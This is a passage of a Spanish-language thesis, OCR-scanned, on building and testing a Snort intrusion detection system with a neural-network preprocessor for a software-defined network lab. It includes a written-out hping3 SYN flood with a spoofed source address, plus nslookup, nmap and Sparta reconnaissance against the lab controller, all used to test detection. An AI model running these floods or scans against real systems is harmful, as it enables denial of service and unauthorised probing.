el que se cuenta ahora posee un esquema de funcionamiento similar al original, la
diferencia con el esquema original (véase Figura 44) es que este emplea un preprocesador
RNA para la deteccion de anomalias en los analisis de trafico en tiempo real,
automatizando en cierta forma el proceso de analisis ya que el administrador del IDS no
necesita configurar las reglas que se encargan de esto; la Figura 59 muestra el nuevo

esquema de funcionamiento que se acaba de describir.
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ESQUEMA DE SNORT + RNA

MODO DE SALIDA

T

‘ PLUGINS DE SALIDA ‘

PLUGINS DE
DETECCION

‘ MOTOR DE DETECCION

T

‘ PREPROCESADORES + RNA‘

T

‘ DECODIFICADOR ‘

T

‘ CAPTURA DE PAQUETES ‘

)

TRAFICO DE RED

Figura 59. Esquema de funcionamiento Snort+RNA
Fuente: Adaptado de (Sdenz & Martinez, 2018)

En cuanto a la instalacion de Snort+RNA, se especifica en el anexo 5 y es
necesario dejar claro que la presente propuesta emplea la version de Bedon (2020), raz6n
por la cual los archivos usados se obtienen de https://sourceforge.net/projects/snort-ai/, al
igual que la documentacion necesaria para realizar la instalacion. Por otro lado, este
proceso se efectlia en una maguina con caracteristicas especificas de software y hardware;
la parte del software necesita el sistema operativo Centos minimal en la version 7;
mientras que el hardware se basa a las recomendaciones de CentOS (2020), de este modo,

las caracteristicas de hardware empleadas son:

e Memoria Ram 2 GB
e Disco Duro 100 GB

e Dos interfaces de red

Acerca del funcionamiento de Snort+RNA, empieza por el analisis, mismo que
permite detectar las posibles anomalias que aparezcan en la red; si el IDS detecta una

anomalia genera alertas, la Figura 60 es un ejemplo y en ella que se indican algunos datos
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importantes como: certeza, protocolo de comunicacion, IP y puerto tanto de origen como

destino.

Certeza Protocolo comunicacidon  IP:Puerto Origen IP:Puerto Desting
09/17-08:30:14,187866 [**] [0:0:0] (Portscanil] Generie portscan,|Certainty = 99%[[*%] [Priority: 0] {TCP} 192,168.10,117:34134 -» 192,168,100.111:23133

Figura 60. Ejemplo de alerta en Snort+RNA.

Fuente: Autoria propia

La certeza indica un porcentaje que identifica si la alerta generada es real o no,
dicho en otras palabras, si la alerta generada presenta un valor inferior al sefialado en el
disefio de la red MLP (99%) se considerada falso positivo; el protocolo de comunicacion
representa al protocolo que los host usan para la comunicacion, estos pueden ser TCP o
UDP; en cuanto a las IPs y puertos mostradas en la alerta, identifican la IP y puerto donde

inicia el ataque (Origen) y la IP y puerto hacia donde se dirige (Destino).

Una ultima caracteristica en el funcionamiento de Snort+RNA, es su registro de
trafico, el cual se genera al finalizar cada analisis con las teclas Ctrl + C y se encuentra
formado por variables que requiere el IDS para identificar las anomalias, estas variables
son: hits_as_src, hits_as_dst, av_rcv_time, av_snd_time, win_count y rel_hits; cada una
de ellas se definen en la Tabla 24, denotando su utilidad y los valores que debe presentar
el trafico de la red para considerarse anormal, esta cualidad también ayuda en la
verificacion falsos positivos ya que si la alerta generada se relaciona con valores normales
del tréfico, no se puede considerar como anomalia. El registro es presentado en una pagina
web a la que se accede a través de un navegador web con la direccion
http://192.168.100.100/tesis/file y los pasos a seguir para la configuracion de ella se

exponen desde el anexo 6.1 hasta el anexo 6.4.
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Tabla 24

Variables analizadas por Snort+RNA

Variable Definicion

(hits as destination — hits como destino): NUumero de paquetes de inicio de
conexion (flows) en los cuales esta direccion IP figuraba como destino. Es

hits_as_dst decir, numero de intentos de conexion que la IP recibi6. Un valor superior a
103 en este parametro puede significar que la IP esta siendo victima de un
escaneo.

(hits as source — hits como origen): Nimero de paquetes de inicio de conexién
(flows) en los cuales esta direccion IP figuraba como origen. Es decir, numero

hits_as_src de intentos de conexion enviados por la IP. Un valor superior a 103 de este
parametro puede significar que el host poseedor de dicha IP esta realizando
un escaneo.

(average receive time — tiempo promedio de recepcion): tiempo (segundos)
promedio entre peticiones de conexion recibidas por esta IP. Esta medida dice

av_rcv_time  con qué frecuencia estan llegando peticiones de conexion a un equipo. Un
valor inferior a 1073 de este pardmetro puede significar que este host esta
siendo escaneado.

(average send time — tiempo promedio de envio): tiempo (segundos)
promedio entre peticiones de conexion hechas por esta IP. Esta medida me
dice con qué frecuencia un equipo esta enviando peticiones de conexion. Un
valor inferior a 10~3 puede indicar que el host esta realizando un escaneo.

av_snd_time

(contador de ventanas): Este valor indica cuantas veces inician las
win_count mediciones, cada medicion consta de 1599 conexiones en las que una IP es
marcada como destino.

(relation hits — hits de relacién): Numero de peticiones de inicio de conexion
rel_hits que se realizan entre dos host dados. Este parametro seria superior a 103 en
el caso de un escaneo uno a uno.

Fuente: Adaptado de (Bedon, 2020)

4.6. Prueba de Funcionamiento de Snort+RNA

Esta seccidn consiste en probar el funcionamiento de Snort+RNA, para ello se
elabora un escenario de pruebas en base a la topologia de la Figura 61, la cual consiste en
tener 3 hosts configurados; el primero contiene a Kali Linux como atacante, el segundo
es un servidor web como victimay el Gltimo es Snort+RNA, que se ubica entre el atacante
y la victima. De esta forma, el atacante cumple dos acciones que son la tratar de vulnerar

a la victima y la de realizar simples consultas a la misma, mientras que la funcion de
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Snort+RNA es detectar cuando el atacante realiza las distintas acciones a partir de los
resultados obtenidos en cada analisis del IDS; esto quiere decir que se ejecuta un analisis
independiente para las dos acciones del atacante. De este modo se presentan los siguiente

literales con el proceso a seguir para el cumplimiento de las pruebas de funcionamiento.

Kali Linux Snort+RNA Srv Web
[ [ ]
. .
192.168.10.0 /24 192.168.0.0 /24

Figura 61. Topologia para prueba de Snort+RNA.

Fuente: Autoria propia

a. ldentificar las herramientas del atacante.

La maquina atacante usa dos herramientas: la primera es para tratar de vulnerar a
la victima y la segunda Unicamente realiza consultas. Para tratar de vulnerar a la victima
se utiliza la herramienta Hping3, misma que se caracteriza por permitir ocultar la IP del
atacante y desde esta inundar con paquetes de diferentes tipos a un host en especifico (la
victima); en tanto que para las consultas al servidor web se emplea la herramienta JMeter,
su cualidad es realizar pruebas de rendimiento a un servicio especifico, en este caso el

servicio es web.
b. Usar la herramienta de vulneracion.

En este paso, lo primero es iniciar el analisis de Snort+RNA, para lo ello se

necesita el comando:

snort -i ens32:ens33 -A console -c /etc/snort/snort.conf -1 /var/log/Snort
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En el comando anterior se identifican las interfaces a analizar (ens32:ens33), se
establece que las alertas seran mostradas mediante la consola de Snort+RNA (-A console),
ademas es necesario establecer la direccion en la que se ubica el archivo que contiene las
configuraciones de ejecucion de Snort (-c /etc/snort/snort.conf) y finalmente se sefiala la
direccidn en donde se guarda el registro del trafico capturado una vez que el proceso del
IDS termine (-1 /var/log/snort). La Figura 62 es una captura de la consola de Snort+RNA

ya iniciada.

——== Initislization Complet

Mot Using PC ,I'JLP_F ELMES

Figura 62. Inicio de Snort+RNA.
Fuente: Autoria propia
A continuacién la Figura 63 muestra la ejecucion de Hping3 y explica que la IP
10.10.10.10 inunda de paquetes de sincronizacion (Sync) al puerto 80 de la IP

192.168.100.112.

File Actions Edit View Help
root@localhost: ~ [3¢]

:~# hping3 -a 19.10.106.18 -p 80 -5 —flood 192.168.100.112
HPING 192.168.100.112 (eth® 192.168.100.112): S set, 4@ headers + @ data bytes
hping in flood mode, no replies will be shown

Figura 63. Ejecucion de Hping3

Fuente: Autoria propia

En este momento Snort+RNA empieza a detectar el ataque de Hping3, es asi como

genera alertas con la informacion mencionada en la seccion 4.5; la certeza del 99%
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clasifican estas alertas como reales; en la Figura 64 se encuentran parte de las

notificaciones generadas.

Figura 64. Alertas en Snort+RNA de Hping3.

Fuente: Autoria propia
c. Analizar el registro de trafico del intento de vulneracion.

Para analizar el registro del trafico primero se detiene el proceso de Snort+RNA,
enseguida se ingresa la direccion que lleva a su pagina web y muestra un registro igual a
la Figura 65, ahi se buscan las IPs 10.10.10.10 y 192.168.100.112 para examinar la
informacion, la cual determina que efectivamente se realiz6 el ataque debido a que los

valores en sus variables son superiores a lo que se indica en la Tabla 24.

Consola de Registro para Preprocesador PortscanAl

Log_method: File

IPs Hash table

hits_as_src hits_as_dst av_rcv_time av_snd_time win_count
0.000064
192.168.10.1 |7 lo |0.000000 lo.190180

192.168.100.112 0.000049 0.000000
239.255.255.250 0.190180 0.000000

Direct Relation Hash table

10.10.10.10 192168.100.112
192.168.10.1 239.255.255.250 |

Registered IPs inlPs Hash table: 4

Registered Direct Relations: 2

Figura 65.Registro de trafico para Hping3.

Fuente: Autoria propia
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d. Usar herramienta de consultas al servicio web.

En cuanto a la segunda herramienta, lo primero es ejecutar Snort+RNA con el
comando usado en el literal b de esta seccion, luego se establecen los parametros de
consulta en JMeter igual a los de la Figura 66, estos sefialan que se realiza 60 consultas

en un lapso de 10 segundos y esto se repite una sola vez.

File Edit Search Bun Options Help

D@ a8’ MiEEIEIEERLAL S d Wl % EH 0L 0760

an
o [ hread Group) Thread Group

Name: [Thread Group
Comment its:
Action to be taken after a Sampler error

® Continue () Start Next Thread Loop () Stop Thread () Stop Test (! Stop Test Now

Thread Properties
Number of Threads (users): [60 |
Ramp-Up Period (in [10 |

Loop Count: []Forever |1 |

[IDelay Thread creation until needed

[]scheduler

Figura 66. Configuracion de JMeter.
Fuente: Autoria propia
El proceso de JMeter se ejecuta tres veces y al termina se observa que Snort+RNA
genera un falso positivo, porque la alerta posee un 97% de certeza tal como presenta la
Figura 67, ademas que marca como origen del ataque la IP del servidor web y como
destino la IP del atacante, razon por la cual es necesario acudir al registro del trafico para

verificar esta alerta.

= 57% [#%] [Priority: O] {TCF} 18

Figura 67. Alerta en Snort+RNA de JMeter.

Fuente: Autoria propia
e. Analizar el registro de tréafico de las consultas al servicio web.

Este andlisis es similar al que se realiza en el literal c en cuanto al acceso al registro

del trafico, sin embargo, sus resultados son diferentes, la Figura 68 muestra el registro
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que esta vez genera Snort+RNA, en él se buscan las IPs 192.168.100.112 y
192.168.10.117, las cuales presentan valores normales segln sefiala la Tabla 24. Esto
quiere decir que la notificacion generada fue un falso positivo, no obstante en las tres
veces que se ejecutan las consultas Unicamente se genera una notificacion lo que indica
que Snort+RNA aprende que ese trafico es normal, caso contrario hubiese una alerta por

cada proceso de consulta.

Consola de Registro para Preprocesador PortscanAl
Logs generated: 11/27-22:58:02)
IPs Hash table
[ w |  hitsassre |  hitsasdst |  avreviime |  avsndtime |  wincount |
a 0 539

10.000000 1.226391

0
0
0
0

Direct Relation Hash table
oo ]

192.168.10.117 240
22 55.250

Registered Direct Relations: 3

Figura 68. Registro de trafico para JMeter.

Fuente: Autoria propia
4.7. Integracion de Snort+RNA a SDN

Esta seccion se centra en la integracion de Snort+RNA a la SDN, para empezar su
proceso se plantea el disefio de la Figura 69, el cual consiste en conectar un host fisico al
servidor fisico PV2 por medio de sus interfaces de red ethernet y eno2; el host fisico
contiene a Kali Linux y Snort+RNA en dos maquinas virtuales distintas, mientras que el
servidor fisico proxmox (PV2) aloja parte de la infraestructura hiperconvergente que sirve

como plataforma para la SDN.
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Disefio de Snort+RNA con SDN

S ol 7 ~
Host fisico Servidor PV2 proxmox Capas SDN
Magquina virtual para: Maquina virtual para:
- Interfaz web
- Kali Linux - API REST
Interfaz virtual vmnet12
A Interfaz virtual E themet
J 1 CAPA DE APLICACION
y
Interfaz virtual eth0
Interfaz virtual vmnet12
P N Magquina virtual para:
Magquina virtual para: - Open Virtual Switch OVS
- Smort + RNA Bridge vmbr0 Interfaz virtual ethl
Interfaz virtual ovs-brl
Interfaz virtual vmnet3 y CAPADE
INFRAESTRUCTURA
Bridge vmnet3 y
Interfaz virtual eth®
Maquina virtual para:
- Servicios de SDN
eno 1 ‘ eno 2 ‘ eno 3 | eno 4 ‘

Ethernet

t

Figura 69. Disefio de Snort+RNA con SDN.
Fuente: Autoria propia
Se debe agregar a la integracion un direccionamiento IPv4 debido a que esto
facilita la convergencia en toda la red, de esta manera cada host tiene la obligacion de

configurar su respectiva IP de acuerdo con la Tabla 25.

Tabla 25
Asignacién de IPs en IDS y SDN.

Host Ip Mascara de Puerta de
red enlace

Kali Linux 192.168.10.117 24 192.168.10.129
192.168.10.129 24

Snort+RNA
192.168.100.100 24 192.168.100.110
192.168.100.110 24 192.168.100.100

oVSs
192.168.150.10 24
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ODL 192.168.100.111 24 192.168.100.110
SRV-WEB 192.168.150.11 24 192.168.150.10
SRV-FTP 192.168.150.12 24 192.168.150.10
SRV-MOODLE 192.168.150.13 24 192.168.150.10

Fuente: Autoria propia

Lo siguiente es la configuracion de las interfaces de red tanto en el servidor fisico
proxmox PV2 como en el host fisico, cada proceso se la clasifica en dos etapas distintas;
con esto dicho, la primera etapa consiste en preparar la interfaz de red (eno2) a la cual se
conecta el host fisico. Esta configuracion se ejecuta en la interfaz gréfica del segundo
servidor fisico de proxmox PV2, la interaccion con dicha interfaz es mediante acceso
remoto desde otro host que disponga de un navegador web y se encuentre en la misma
red del PV2. El proceso detallado se encuentra en el anexo 7.1, sin embargo; en este
apartado se menciona el resultado de la configuracion, la misma que radica en incluir a la
interfaz de red a usar dentro de un puente virtual (vmbr0), la funcién del vmbr0 en
proxmox es que varios clientes virtuales se comuniquen con una sola interfaz de red fisica
que este caso seria lo ideal para la integracion. En la Figura 70 se verifica que eno2 se

encuentra dentro de vmbr0, estando lista para su uso.
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&« c A Noesseguro | 10.0.0.2:8006/#v1:0:=node%2Fpve2:3:11:6:7:2 w e
X pRDXMUX Virtual Environment 5.0-30 Search You are loggad in as root@pam’ £ @ Help
Server View Node ‘pve?’ O Restat & Shudown  >_ Shell ¢ Bulk Actions © Help
109 «
11 Create Revert  Edit  Remove
- Q Search
= cepl Name Type Active Autostart Ports/Slaves IP address Subnet mask Gateway
= | & Summary
- enol Network D... Na Ne
= loca | >_ Shell 5 N D v v
eno stwork D es s
Bb pe2 o System
128 eno3 Network D... Yes Yes 10.0.255.2 25525525 .
129 = Network enod MNetwork D...  Yes Yes
130 @ DNS vmbrQ Linux Bridge Yes Yes eno2 enod 10.0.0.2 25525525 . 10.0.0.254
131 @ Time
132 R
= o = Syslog
f local £ Updates Pending changes (Please reboot to activate changes)
= o
= loca Firewall
= U Firewa --- [etc/network/interfaces 2020-09-83 12:58:43.172402579 -0560
o pved & Disks +++ fetc/network/interfaces.new 2820-89-83 13:88:24.994716348 -0508
W admin @@ -17,6 +17,7 @@
@ imbaq address  10.9.255.2 -

Figura 70. Interfaz de red dentro del puente en pv2
Fuente: Autoria propia
En tanto que la segunda etapa es similar a la primera con la diferencia que la
configuracién de la interfaz de red se la realiza en VMware ya que es el software que
contiene a la maquina atacante y a Snort+RNA propuesto en este trabajo de titulacién, es
asi que de la misma forma que antes, se coloca a la interfaz que conecta este host fisico
con el servidor fisico PV2 dentro de un puente virtual, la Figura 71 indica como deberia
quedar la configuracion mencionada en este acapite, no obstante, en el anexo 7.2 es

posible visualizar este proceso con mas detalles.
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Name Type External Connection Host Connection  DHCP Subnet Address
WMnetd Bridged Intel(R) Dual Band Wireless-... - - -
VMnetl Host-only - Connected Enabled 192,168.0.0
|vMnet3  Bridged  Realtek PCIe GbE Family Co... |- - -
VMnetd MAT MNAT Connected Enabled 20.20.20.0
VMnetll  Custom - Enabled 192.168.10.0
VMnetl2  Custom - 192.168.70.0
Add Network... Remove Network
VMnet Information
(®) Bridged {connect VMs directly to the external netwark)
Bridged to: | Realtek PCIe GbE Family Controller w | | Au
(CJNAT (shared host's IP address with VMs)
(") Host-only (connect ¥Ms internally in a private network)
Connect a host virtual adapter to this network
Use local DHCP service to distribute IP address to VMs DHCP Setting:
Restore Defaults QK Cancel Apply Help

Fuente: Autoria propia

Figura 71. Interfaz de red dentro del puente en VMware
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En cuanto las interfaces de red se encuentren configuradas, es usa el OVS para

cumplir dos funciones; la primera funcion es la comunicacion entre las maquinas alojadas

dentro de Proxmox y el host fisico. La segunda funcién que lleva a cabo es la

comunicacion entre los servidores virtuales y el controlador ODL de la SDN.

El proceso que se efectud dentro del OVS se lo puntualiza en el anexo 2, en tanto

que la Figura 72 describe las interfaces ya configuradas usando el comando ip add, ahora

solo basta conectar un patch cord al host y el servidor fisicos PV2.
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[root@localhost “1# ip add
1: lo: <LOOPBACK,UP,LOMWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen 1888
link~loopback B6:08:80:68:06:80 brd B0:068:80:00:008:80
inet 127.8.8.1-8 scope host lo
valid_Ift forever preferred_lft forever
inet6 ::1-128 scope host
valid_Ift forever preferred lft forever
i ethB: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1588 gdisc pfifo_fast state UP group default glen 1888
linksether Ar:33:70:54:h3:9a brd £ FFFf:FF:FF:fF
inet 192.168.188.118-24 brd 19Z2.168.188.2Z35 scope global nopref ixroute ethd
valid_Ift forever preferred_lft forever
inet6 feB@::6c33:2eff :fe54:b3% 01 scope link
valid_Ift forever preferred_lft forever
: ethl: <BROADCAST,MULTICAST,UF,LOWER_UP> mtu 1588 gdisc pfifo_fast state UP group default glen 1868
linksether hZ:ha:hS:cd4:f5:41 brd £ :FF:FfFF:FFFF
inet 192.168.158.18-Z24 brd 192.168.158.255 =cope global wnopref ixroute ethl
valiud_Itt torever preferred lft forever
inet6 feB@:: bBba:b5Sff :fecd:f541-64 scope link
valid_Ift forever preferred_lIft forever
! ous-zystem: <BROADCAST,MULTICAST> mtu 1588 gdisc noop state DOWN group default glen 18HH
linksether 7a:cb:65:17:f6:ae brd £ :FF:ff :fF:FF FF
ovs-brB: <BROADCAST,MULTICAST> mtu 1588 gdisc noop state DOWN group default glen 1686
* linkrsether 76:48:c9:cB:d1:43 brd f£f:ff:ff:Ff:FF :fF
oot@localhost ~1#

Figura 72. Interfaces configuradas de OVS
Fuente: Autoria propia
Para determinar que la integracion fue exitosa se realiza una prueba de ping entre
el host y las maquinas alojadas dentro de PV2, la Figura 73 sefiala el proceso del ping que
en este caso se realizd desde Kali Linux hacia el OVS y al servidor web (srv-web),

demostrando asi que Snort+RNA se encuentra integrado a la SDN.

111



h ) & -[:| -,‘ I:I root@localhost: -
root@iocalhost: ~

Actions Edit View Help

root@localhost: ~ x

3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mriev - 1 am1 /7 AR/ R75/8.770 ms
K ping 192.168.150.10

PING 192.168.150.1v (192.10¥8.150.19) >6(84) bytes of data.
64 bytes from 2.168.150.10: icmp_seq=1l ttl-63 time-1.
64 bytes from 68.150.10: icmp_seqg=2 ttl=63 time=1.
64 bytes from .168.150.10: icmp_seq=3 ttl=63 time=
64 bytes from .168.150.10: icmp_seq=4 tt1=63 time=
64 bytes from .168.150.10: icmp_seq=5 ttl1l=63 time=
64 bytes from .168.150.10: icmp_seq=6 ttl=63 time=1.
64 bytes from 2.168.150.10: icmp_seq=7 ttl=63% time=1.
~C '[

192.168.150.10 ping statistics
7 packets transmitted, 7 received, 0% packet loss, time 6014ms
rtt min/avg/max/mdpv = 1.436/1.647/2.836/6.173 ms

# ping 192.168.150.11

PING 192.168.150.11 y1vz.108.100.11,) 26(84) bytes of data.
64 bytes from 192.168.150. icmp_seqg=1 ttl=62 time=4.81 ms
64 bytes from 1 168.150. icmp_seq=2 ttl-62 time=3.54 ms
64 bytes from 192.168.150.11: icmp_seqg-3 ttl-62 time-2.37 ms
~c

192.168.156.11 ping statistics
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max % 2.370/3.307/4.913/0.690 ms

Figura 73. Prueba ping de Kali Linux hacia OVS y srv-web

Fuente: Autoria propia
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El resultado final de la integracion es una topologia similar a la Figura 74, en la

que se presenta la conexién entre el host y el servidor PV2 fisicos, incluyendo su

direccionamiento de red IPv4 con su respectiva mascara de red.
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Figura 74. Topologia de Snort+RNA con SDN.

Fuente: Autoria propia
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CAPITULO 5.

PRUEBAS DE FUNCIONAMIENTO

Este capitulo final consiste en el desarrollo de pruebas de funcionamiento del
sistema propuesto en el presente trabajo de titulacion, el cual ofrece una herramienta para
la seguridad de la informacion denominada Snort+RNA, misma protege a la SDN contra
ataques de tipo activos, dicha proteccion aprovecha el modelo PDCA que menciona el
estandar ISO/IEC-27001, como guia para la seguridad en la informacién que circula por

la misma.
5.1. Modelo PDCA

El modelo PDCA (por sus siglas en inglés Plan-Do-Check-Act) es usado para
gestionar la seguridad de la red, en este caso la SDN propuesta. Ademas, el modelo esta
compuesto por cuatro etapas: Planificar (Plan), Hacer (Do), Verificar (Check) y Actuar
(Act); en donde con cada etapa mencionada se comprueba el funcionamiento del disefio
de Snort+RNA planteado en el presente trabajo de titulacién. Dicho de otra manera, el
modelo PDCA expone el proceso adecuado que permitird determinar si la herramienta
implementada para la seguridad de la informacién (Snort+RNA) funciona y para ello se
puso a prueba con ataques a la red de tipo activos, esto con el fin de generar anomalias

que sean alertadas por la herramienta de seguridad.

La etapa de planificar consiste en indicar los motivos necesarios para brindar
seguridad en una SDN, en este sentido se destacan la seleccidn de los diferentes elementos
gue lo compone tanto software como hardware, determinando que este tipo de red es
centralizada, razon por la cual expone al controlador (Opendaylight) a ataques
informaticos debido que administra el comportamiento del resto de su infraestructura. Es
asi como esta propuesta presenta al Snort+RNA como método de proteccion, de igual

manera que en la SDN aqui se selecciona los elementos que la componen teniendo en
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cuenta cuales son los mas idoneos para este proposito. Todo lo que se menciona en este

parrafo se lo realiza en el capitulo 2 y 3 de este trabajo de titulacion.

A continuacion la etapa hacer pretende implementar todo lo planteado en la
primer etapa, en otras palabras, todo lo que se planifico, es asi como se centra en la
implementacion del Snort+RNA en SDN, teniendo en cuenta su funcionamiento y
configuraciones necesarias para que cumpla con su objetivo de proteccion. Es aqui donde

se aclara que todo este proceso se encuentra documentado en el capitulo 4.

Por otro lado, la etapa verificar, tal como su nombre lo indica, verifica si el
Snort+RNA cumple lo que propone, es decir, si el Snort+RNA protege al controlador
(Opendaylight) de la SDN. Esta verificacion se realiza con ataques de tipo activos y bajo
el proceso que proporciona el circulo hacker, en el cual se detallan las herramientas que
se usan para cumplir el objetivo de esta etapa. Al finalizar el proceso del circulo hacker

se presentan los resultados obtenidos para un posterior analisis.

Finalmente, la etapa de actuar consiste en analizar los resultados obtenidos en la
etapa anterior y de esta manera sugerir posibles correcciones al IDS o de ser posible
recomendar otras herramientas para mejorar la seguridad en esta area (capa control) de la

SDN.
5.1.1. Planificar

Como se menciona en el capitulo 2, la SDN permite una administracion mas
eficiente de la red, permitiendo que la comunicacion se gestione mediante 6rdenes que
son enviadas al controlador desde APIs y este a su vez se encarga de enviarla a
dispositivos de red (router y/o switch) con el fin de que estos Gltimos realicen la correcta

conexion entre dispositivos finales. Asi pues, se determina al controlador como punto
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débil ante ataques por parte de personas mal intencionadas puesto que si este es vulnerado

entonces toda la infraestructura SDN puede colapsar.

Por esta razon el Snort+RNA propone la proteccién del controlador en la SDN,
mas no de los dispositivos finales, en este caso los servidores, puesto que, en el disefio
realizado en el capitulo 3, estos al estar dentro de la SDN se comunican con dispositivos
de red que trabajan bajo el protocolo openflow, el cual evita que usuarios de redes
externas se comuniquen con dichos servidores a menos que se encuentren en la misma

red de los servidores.

La Figura 75 detalla el proceso que realiza el sistema propuesto de Snort+RNA
en SDN, el cual inicia con un ataque en Kali Linux (host atacante) y finaliza en el registro
de trafico mediante una pagina web o en la conclusion del ataque. Dicho en otras palabras,
significa que si el sistema en mencion detecta el ataque originado en Kali Linux, este
genera una alerta; es ahi donde el personal encargado de la seguridad de la red tiene la
potestad de detener el analisis, para luego dirigirse a observar el registro de trafico en la
interfaz web con el fin de determinar su veracidad o a su vez puede dejar que el sistema
continte analizando en caso de presentarse alertas de otros tipos de ataques. Por el
contrario, si el sistema no detecta el ataque, este concluye en la vulneracion del

controlador ODL de la SDN (host victima).
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Figura 75. Diagrama de flujo del proceso de ataque

Fuente: Autoria propia

5.1.2. Hacer

Esta etapa consiste en la ejecucion del disefio propuesto (Snort+RNA en SDN),

mismo que se encuentra plasmado en el capitulo 4. El capitul

o citado abarca la seleccion

del IDSy la red neuronal a usar, posteriormente el disefio y por tltimo la implementacion

de este, lo que significa que en esta seccidn Unicamente se describe como opera el sistema

citado; el cual radica en que el Snort+RNA genera alertas en el momento que alguna

persona mal intencionada intente vulnerar el servidor que aloja al controlador ODL. Cabe

aclarar que el analisis del Snort+RNA es en tiempo real, no obstante, la visualizacién del

registro del trafico no lo es, por lo que, para visualizar el re

durante el ataque es necesario detener el analisis.

gistro del trafico analizado
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Una vez que el sistema haya detenido su andlisis, el personal encargado de la
seguridad de la red podra observar mediante una interfaz web si los valores expuestos en
dicho registro pertenecen a un trafico normal o con anomalias tal como lo indica el

capitulo 4.
5.1.3. Verificar

La tercera etapa tiene como fin, el verificar el funcionamiento de la herramienta
destinada a la seguridad de la SDN y como se menciona al inicio de la seccion 5.1, se
basa en el circulo hacker, mismo que propone un proceso adecuado para atacar una red o
un host en especifico, siendo este el controlado ODL. Dicho proceso consta de 5 fases
(reconocimiento, exploracion, obtener acceso, mantener acceso y borrar huellas) mismas

que se aclaran conforme avance el proceso en mencion.

Para iniciar las fases del circulo hacker, al host atacante se lo denomina Kali Linux
y al host victima ODL, ademas se aclara que, durante el ataque informatico con las
diferentes herramientas, el Snort+RNA ejecuta un analisis por separado y en basado a los
resultados arrojados en cada uno de ellos se determina su funcionamiento. Esto se lo hace
Unicamente por ser un ambiente de pruebas ya que asi los resultados de cada ataque

informatico son mas exactos.
5.1.3.1. Reconocimiento

La primer fase busca obtener la mayor cantidad de informacién posible de la
victima, sin embargo, estas pruebas pretenden obtener Unicamente la direccion IP de la
victima y para ello se emplea la herramienta denominada Nslookup, misma que tiene la
funcién de traducir direcciones IP de un host en especifico, en este caso el ODL, a partir
de un dominio, ademas permite realizar consultas de tipo DNS inversa, es decir, el usuario

ingresa una direccién IP y como resultado se obtiene el dominio al que esta pertenece.
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Para esta prueba se usa la primera funcién para conocer la IP del dominio
www.controlador.odl.com, para lo cual se digita el comando (nslookup) Yy el dominio
(www.controlador.odl.com); cabe recalcar que el dominio se encuentra configurado de
forma local y no pertenece a algin dominio de la Internet. La Figura 76 indica los
resultados arrojados por esta herramienta, en donde, Nslookup muestra que la IP del host
perteneciente al dominio www.controlador.odl.com es la 192.168.100.111, misma que se

pretende atacar con diversas herramientas en cada una de las siguientes fases.

File Actions Edit View Help

root@localhost: ~ x

:~# nslookup www.controlador.odl.com
Server: 192.168.10.129
Address: 192.168.10.129453

Name: www . controlador.odl.com
Address: 192.168.100.111

Figura 76. Resultados de Nslookup

Fuente: Autoria propia
5.1.3.2. Exploracion

Aqui se tiene como fin la determinacidon de las posibles vulnerabilidades que posee
la victima; es asi que una vez conocida la IP del ODL se utilizan dos herramientas con
funciones similares que son la de escanear los puertos de la victima, sus nombres son:
Sparta y Nmap; la diferencia entre ellas radica en su interfaz de administracion, ya que la
primera herramienta (Sparta) presenta una interfaz gréfica para analizar el ODL, mientras

que Nmap cumple la misma funcién, pero mediante lineas de comando.

Una vez que Nmap (Figura 77) terminan su analisis se observa la informacién
detallada acerca del ODL, no obstante; el apartado que se necesita conocer es sobre los
puertos que se encuentran sin proteccion, es decir que se encuentran abiertos, con ella se

determina la posibilidad de ejecutar ataques con las herramientas que se presentan en la
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siguiente etapa. Es necesario aclarar que en comando de Nmap se indican que todos los
puertos seran escaneados (-p-), se trata de conocer la version del servicio que se encuentra

en el puerto identificado (-sv) y la IP de la victima (192.168.100.111).

File Actions Edit View Help

root@localhost: ~ L

:~# nmap -p-
Starting Nmap 7.8¢ {"iCy| L TS et

Nmap scan report for controlador-odl (192.168.100.111)

Host is up (0.8016s latency).

Not shown: 65511 filtered ports

PORT STATE SERVICE VERSION

22/tcp  open ssh OpenSSH for_Window (protocol 2.@)
135/tcp  open msrpc Microsoft Windows RPC

139/tcp  open netbios-ssn Microsoft Windows netbio:

445/tcp  open microsoft-ds?

1099/tcp open java-rmi Java RMI

5040/tcp open unknown

5357/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
6633/tcp open cisco-vpath-tuny,

6653/tcp open openflow? I

7680/tcp open pando-pub?

8080/tcp open http 5.v20140411

8101/tcp open ssh sshd @ (protocol 2.0)
8181/tcp open http 50 411

8185/tcp open unknown

34343/tcp unknown

40004/tcp unknown

4hubs/tep r Java RMI

49664/tcp Microsoft Windows RPC

49665/tcp open Microsoft Windows RPC

49666/tcp open Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49668/tcp open msrpc Microsoft Windows RPC

49669/tcp open msrpc Microsoft Windows RPC

50347/tcp open tcpwrapped

4 services unrecognized despite returning data. If you know the service/version, please submit the fo

Figura 77. Resultados de Nmap

Fuente: Autoria propia

Por otro lado, para obtener resultados en Sparta (Figura 78) Unicamente se

establece la IP de la victima y se inicia el proceso de escaneo.

B wmO=s|]| Shell No. 1 ? SPARTA1.0.4(BETA)-u
SPARTA1.0.4(BETA) - untitled - /root/ (on locathost)

Scan Brute
Hosts Services Tools Services Scripts Information Notes smbenum (445/tcp) B nikto (5357/tcp) B nikto (8181/tcp) B  screenshot (5357/tcp) B screensh:

os Host Port Protocol State Name
& 192.168.100.111 (con... open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
open msrpc Microsoft Windows RPC
open netbios-ssn  Microsoft Windows netbios-ssn
open microsoft-ds
open java-rmi Java RMI
open unknown
open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
open cisco-vpath-...
open openflow
open ssh Apache Mina sshd (protocol 2.0)
open http Jetty 8.1.15.v20140411

unknown

unknown

Log

Progress Tool Host Start time End time
screenshot (8181/tcp) 192.168.100.111 30 Nov 2020 11:44:09 30 Nov 2020 11:44:09  Finished
screenshot (5357/tcp) 192.168.100.111 30 Nov 2020 11:44:08 30 Nov 2020 11:44:08  Finished
nikto (8181/tcp) 192.168.100.111 30 Nov 2020 11:44:05 30 Nov 2020 11:45:55  Finished
nikto (5357/tcp) 192.168.100.111 30 Nov202011:44:04 30 Nov202011:47:26  Finished
